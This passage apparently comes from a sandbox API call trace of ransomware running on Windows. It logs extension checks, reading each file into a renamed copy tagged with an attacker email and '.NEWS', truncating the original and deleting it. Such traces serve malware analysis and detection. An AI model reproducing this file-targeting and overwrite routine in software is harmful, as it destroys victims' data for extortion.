lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0086.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.569] lstrlenW (lpString=".zip") returned 4 [0086.569] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0086.569] lstrlenW (lpString=".rar") returned 4 [0086.569] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0086.569] lstrlenW (lpString=".bz2") returned 4 [0086.569] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0086.569] lstrlenW (lpString=".7z") returned 3 [0086.569] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0086.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.569] lstrlenW (lpString=".dbf") returned 4 [0086.569] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0086.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.569] lstrlenW (lpString=".1cd") returned 4 [0086.569] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0086.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0086.569] lstrlenW (lpString=".jpg") returned 4 [0086.569] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0086.569] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0086.569] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0086.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0086.570] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2776664) returned 1 [0086.570] CloseHandle (hObject=0x38c) returned 1 [0086.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0086.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0086.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0086.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0086.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0086.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.571] lstrlenW (lpString=".doc") returned 4 [0086.571] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0086.572] lstrlenW (lpString=".docx") returned 5 [0086.572] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0086.572] lstrlenW (lpString=".pdf") returned 4 [0086.572] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0086.572] lstrlenW (lpString=".xls") returned 4 [0086.572] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0086.572] lstrlenW (lpString=".xlsx") returned 5 [0086.572] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0086.572] lstrlenW (lpString=".ppt") returned 4 [0086.572] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0086.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.572] lstrlenW (lpString=".zip") returned 4 [0086.572] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0086.572] lstrlenW (lpString=".rar") returned 4 [0086.572] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0086.572] lstrlenW (lpString=".bz2") returned 4 [0086.572] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0086.572] lstrlenW (lpString=".7z") returned 3 [0086.572] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0086.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.572] lstrlenW (lpString=".dbf") returned 4 [0086.572] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0086.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.572] lstrlenW (lpString=".1cd") returned 4 [0086.572] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0086.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.572] lstrlenW (lpString=".jpg") returned 4 [0086.572] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0086.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.572] lstrlenW (lpString=".doc") returned 4 [0086.572] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0086.572] lstrlenW (lpString=".docx") returned 5 [0086.572] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0086.572] lstrlenW (lpString=".pdf") returned 4 [0086.573] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0086.573] lstrlenW (lpString=".xls") returned 4 [0086.573] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0086.573] lstrlenW (lpString=".xlsx") returned 5 [0086.573] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0086.573] lstrlenW (lpString=".ppt") returned 4 [0086.573] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0086.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.573] lstrlenW (lpString=".zip") returned 4 [0086.573] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0086.573] lstrlenW (lpString=".rar") returned 4 [0086.573] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0086.573] lstrlenW (lpString=".bz2") returned 4 [0086.573] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0086.573] lstrlenW (lpString=".7z") returned 3 [0086.573] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0086.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.573] lstrlenW (lpString=".dbf") returned 4 [0086.573] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0086.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.573] lstrlenW (lpString=".1cd") returned 4 [0086.573] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0086.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0086.573] lstrlenW (lpString=".jpg") returned 4 [0086.573] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0086.573] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0086.573] lstrlenW (lpString="StreamServer.dll") returned 16 [0086.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0087.197] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1053784) returned 1 [0087.197] CloseHandle (hObject=0x370) returned 1 [0087.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0087.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.198] lstrlenW (lpString=".doc") returned 4 [0087.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.198] lstrlenW (lpString=".docx") returned 5 [0087.198] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0087.198] lstrlenW (lpString=".pdf") returned 4 [0087.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.198] lstrlenW (lpString=".xls") returned 4 [0087.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.198] lstrlenW (lpString=".xlsx") returned 5 [0087.198] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0087.198] lstrlenW (lpString=".ppt") returned 4 [0087.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.198] lstrlenW (lpString=".zip") returned 4 [0087.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.198] lstrlenW (lpString=".rar") returned 4 [0087.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.198] lstrlenW (lpString=".bz2") returned 4 [0087.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.198] lstrlenW (lpString=".7z") returned 3 [0087.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.198] lstrlenW (lpString=".dbf") returned 4 [0087.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString=".1cd") returned 4 [0087.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString=".jpg") returned 4 [0087.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString=".doc") returned 4 [0087.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.199] lstrlenW (lpString=".docx") returned 5 [0087.199] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0087.199] lstrlenW (lpString=".pdf") returned 4 [0087.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.199] lstrlenW (lpString=".xls") returned 4 [0087.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.199] lstrlenW (lpString=".xlsx") returned 5 [0087.199] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0087.199] lstrlenW (lpString=".ppt") returned 4 [0087.199] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString=".zip") returned 4 [0087.199] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.199] lstrlenW (lpString=".rar") returned 4 [0087.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.199] lstrlenW (lpString=".bz2") returned 4 [0087.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.199] lstrlenW (lpString=".7z") returned 3 [0087.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString=".dbf") returned 4 [0087.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString=".1cd") returned 4 [0087.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0087.199] lstrlenW (lpString=".jpg") returned 4 [0087.200] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.200] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0087.200] lstrlenW (lpString="vccorlib140.dll") returned 15 [0087.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0087.201] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=390320) returned 1 [0087.201] CloseHandle (hObject=0x370) returned 1 [0087.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0087.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0087.201] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.201] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0087.201] GetLastError () returned 0x0 [0087.201] ReadFile (in: hFile=0x370, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0087.248] WriteFile (in: hFile=0x354, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0087.254] ReadFile (in: hFile=0x370, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0087.255] WriteFile (in: hFile=0x354, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf2, lpOverlapped=0x0) returned 1 [0087.255] SetEndOfFile (hFile=0x354) returned 1 [0087.256] CloseHandle (hObject=0x354) returned 1 [0087.256] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.256] SetEndOfFile (hFile=0x370) returned 1 [0087.259] CloseHandle (hObject=0x370) returned 1 [0087.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0087.260] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0087.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.260] lstrlenW (lpString=".doc") returned 4 [0087.260] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.260] lstrlenW (lpString=".docx") returned 5 [0087.260] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0087.260] lstrlenW (lpString=".pdf") returned 4 [0087.260] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.260] lstrlenW (lpString=".xls") returned 4 [0087.260] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.260] lstrlenW (lpString=".xlsx") returned 5 [0087.260] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0087.260] lstrlenW (lpString=".ppt") returned 4 [0087.260] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.260] lstrlenW (lpString=".zip") returned 4 [0087.260] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.260] lstrlenW (lpString=".rar") returned 4 [0087.260] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.260] lstrlenW (lpString=".bz2") returned 4 [0087.260] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.260] lstrlenW (lpString=".7z") returned 3 [0087.260] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.260] lstrlenW (lpString=".dbf") returned 4 [0087.261] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.261] lstrlenW (lpString=".1cd") returned 4 [0087.261] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.261] lstrlenW (lpString=".jpg") returned 4 [0087.261] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.261] lstrlenW (lpString=".doc") returned 4 [0087.261] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.261] lstrlenW (lpString=".docx") returned 5 [0087.261] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0087.261] lstrlenW (lpString=".pdf") returned 4 [0087.261] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.261] lstrlenW (lpString=".xls") returned 4 [0087.261] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.261] lstrlenW (lpString=".xlsx") returned 5 [0087.261] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0087.261] lstrlenW (lpString=".ppt") returned 4 [0087.261] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.261] lstrlenW (lpString=".zip") returned 4 [0087.261] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.261] lstrlenW (lpString=".rar") returned 4 [0087.261] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.261] lstrlenW (lpString=".bz2") returned 4 [0087.261] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.261] lstrlenW (lpString=".7z") returned 3 [0087.261] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.261] lstrlenW (lpString=".dbf") returned 4 [0087.261] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.261] lstrlenW (lpString=".1cd") returned 4 [0087.261] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0087.262] lstrlenW (lpString=".jpg") returned 4 [0087.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.262] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0087.262] lstrlenW (lpString="vcruntime140.dll") returned 16 [0087.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0087.262] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=88752) returned 1 [0087.262] CloseHandle (hObject=0x370) returned 1 [0087.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0087.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.263] lstrlenW (lpString=".doc") returned 4 [0087.263] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.263] lstrlenW (lpString=".docx") returned 5 [0087.263] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0087.263] lstrlenW (lpString=".pdf") returned 4 [0087.263] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.263] lstrlenW (lpString=".xls") returned 4 [0087.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.263] lstrlenW (lpString=".xlsx") returned 5 [0087.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0087.263] lstrlenW (lpString=".ppt") returned 4 [0087.263] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.263] lstrlenW (lpString=".zip") returned 4 [0087.263] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.263] lstrlenW (lpString=".rar") returned 4 [0087.263] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.263] lstrlenW (lpString=".bz2") returned 4 [0087.263] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.263] lstrlenW (lpString=".7z") returned 3 [0087.263] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.263] lstrlenW (lpString=".dbf") returned 4 [0087.263] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.263] lstrlenW (lpString=".1cd") returned 4 [0087.263] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0087.263] lstrlenW (lpString=".jpg") returned 4 [0087.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.263] lstrlenW (lpString="C:\\Program 